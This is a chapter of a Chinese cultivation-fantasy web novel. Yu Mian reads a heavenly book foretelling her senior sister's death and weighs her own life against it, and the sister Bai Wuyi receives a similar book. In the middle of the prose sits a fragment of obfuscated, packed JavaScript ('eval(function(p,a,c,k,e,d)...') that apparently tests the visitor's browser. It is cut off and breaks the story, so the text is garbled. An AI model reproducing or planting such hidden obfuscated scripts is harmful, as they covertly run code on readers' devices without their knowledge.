白云间亲传弟子就三个,人不多,于是便没有像内门外门一样划定一整片岛屿出来,只是在内门建造了一个院落供三人和白云道长使用。 尤宋在院落门口张望了片刻,随即直接冲向大师姐所住的小竹楼,拍了拍门就被放了进去。 喻眠见到他进去便没有再继续追逐,只是含恨咬了咬牙,毕竟她有些怕大师姐,如非必要并不想主动见到她。 虽然她并没有想明白为什么大师姐不和尤宋在门口交谈事宜,她能放尤宋进去? 她盘腿坐到门口旁的灌木丛中,那里是一个视线盲区,既可以看见竹门闭合,等尤宋待会出来了第一时间追上去,又不会开门的人发现自己,如果之后开门时大师姐也在可以悄悄藏起来。 视线扫过竹门,喻眠并不知道她要等上多久,坐着也是没事,她终于又翻开了一直放在身边却迟迟没有再看的那本《一剑斩仙》。 她原先想着既然没有改变成功青山试炼人选,那书中情节就不会像最初的那位未曾出现的情劫一样消失。 但是现在想来她至少和方溢鸣突然莫名其妙结了情缘,书中情劫总会消失一个。 她再次翻开那本蕴藏灵气的天道之书,只见原本鲜亮的文字又在逐渐褪去。 属于大师姐因为情劫而死让她无情道大悟部分下的章节——【清冷道长娇俏小妖:清渊道长哪里逃(1)】和【渡劫后,无情道修士的器修白月光我不当了(1)】的文字不断闪烁,最后消失不见。 喻眠内心就先升起一阵让她情难自已的欣喜。 这几日她阴差阳错下又成功解决掉了大师姐的两个情劫! 喻眠先查看了一下自己的灵台和经脉,只见自己如今的经脉被拓宽到一个别样的宽度。 她欢喜地又盯过书页看,准备好好欣赏一下空白的书页,这都是这段时间自己的成果。 她成功地靠着自己承受烂桃花的方式救下了自己的师姐! 然而书页虽然空白,但是最开始那段关于大师姐会死于情劫的文字却没有褪去。 【我的大师姐,桃花妖血脉,无情道五阶,死于情劫,七窍流血,挖肾掏心,永世不得超生。】依然印在纸上,只是文字会突然消失又突然浮现,像是在说明大师姐的死亡可能发生又可能不会发生。 喻眠心中困惑,明明按照之前三次情劫结束文字也随之消失,那为何关于大师姐会死于情劫的文字没有消失? 难道说大师姐依然会死于情劫? 可是也没有像上次那样在书页浮现出新的人物啊! 喻眠满头雾水地从头再读过本书,却发现书中最开始描写自己问鼎修仙界的内容消失了,反而又出现了一段之前从未有过的关于自己的待购买解锁的章节。 喻眠皱眉花光自己最后的那点灵气购买,却发现书页上用宋体写着几个大字【为了拯救师姐我牺牲了自己的性命(1)】。 喻眠:? 这是怎么回事? 【那一日的最后,我还是找到了大师姐的情劫二号挽回心意。 他接受了我的重新示好,从此我的生活也发生了翻天覆地的变化。 我通过周旋情劫一号和情劫二号二人的关系让他们不再注意到我的师姐,我的确成功了。 但是我没有想到导致我大师姐深陷情劫而死的不是因为她对这些个人动情这件事本身,而是这几个烂桃花天生命犯孤星,沾染了和他们的情缘关系就会导致自己陷入万劫不复的境地。 大师姐最后的确没有死去,因为我最后用自己的生命拯救了大师姐。 …… (本章完)】 喻眠读完后顿时吓得魂飞魄散。 什么鬼? 尤宋和方溢鸣两人是黑白无常吗? 谁沾谁死? 她直接走了不找尤宋再说那些乱七八糟的话了行吗?这样能保命了吗? 天道之书像是知道她心中所想,在她做出决定后,原本阅读【为了拯救师姐我牺牲了自己的性命(1)】时消失不见的关于大师姐死亡的文字又赫然清晰印在纸上,而且并不像最初那样忽明忽暗,出现又消失,看来是板上钉钉铁死无疑了。 喻眠:…… 那她难道这种情况还是要告白吗?通过这样的方式拯救师姐? 心思一动,关于大师姐死亡的文字又再次消失,只留下了那句“大师姐最后的确没有死去,因为我最后用自己的生命拯救了大师姐。” 那段关于大师姐死不死的文字就这样随着喻眠脑海中是否要挽回尤宋的想法忽明忽现。 挽回?那自己死。 不挽回?那大师姐死。 喻眠低头盯着书页看,抬头盯着竹门看,整个人颇有些凄凉无奈。 * 竹门内,大师姐居所的一楼。 拜无衣坐在书岸前,桌上摆着一本反压过来不见封皮的书,书能感受到灵气流动,展现着这本书的不凡。 她垂眸看向坐在客座上掩面哭泣的尤宋,指尖敲打着桌面,没有说话。 她在思考。 那本看不见封皮的书是今日突然摆在她书岸的,名为《铁骨铮铮大师姐也要修罗场》。 虽然她的居所的确没有设下什么防备,但是素日威严积累,根本没有人会做偷偷潜入她的居所只为了放一本荒唐的书这样的事。 同时此人做到这件事还丝毫没有被自己察觉,白云间除了师尊根本不存在这般实力的人物。 但是师尊现在在外游历,师门里理应见不到她老人家才对。 看来白云间有了隐藏的高强外敌。 几个可能有仇的名字在脑海中回荡,几份揪出此人的权谋方案在脑海中反复编排。 然而指尖摸上书页,流转的思绪便停了。 这本书是天品圣物——天道的指引之书。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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喻眠得到了属于她的天道之书,知道了未来发生的仙魔大战,之后顺应天道之书的指引对方溢鸣和尤宋产生了如此大的敌意,这是她收到的指引。 天道之书之所以这么指引她,是因为这两个人是导致仙魔大战的罪魁祸首,所以天道要她对这两人产生敌意。 但是她在这个过程中,对于方溢鸣产生了喜爱,甚至因此突破了无情道二阶,同时又对尤宋产生了当断不断的感情,这些行为会影响她承天之命拯救人世。 于是天道无奈,只好向她也发放了一本天道之书,希望她用一个荒谬的修罗场的方式来让真正的天命之子不受感情困扰,解决仙魔大战的罪魁祸首解决人世。 心中的两个问题都可以得以回应。 但是拜无衣的眼神还是不动神色地向坐在客座上鹤发披散痛哭流涕自己被抛弃的少年投去。 他双目通红,长睫颤动,掩面的双手沾满泪水,娇艳的声音说着自己以后再也不要理喻眠了。 导致世界大乱的罪魁祸首是这样的人物吗? 天道真的是认真的吗?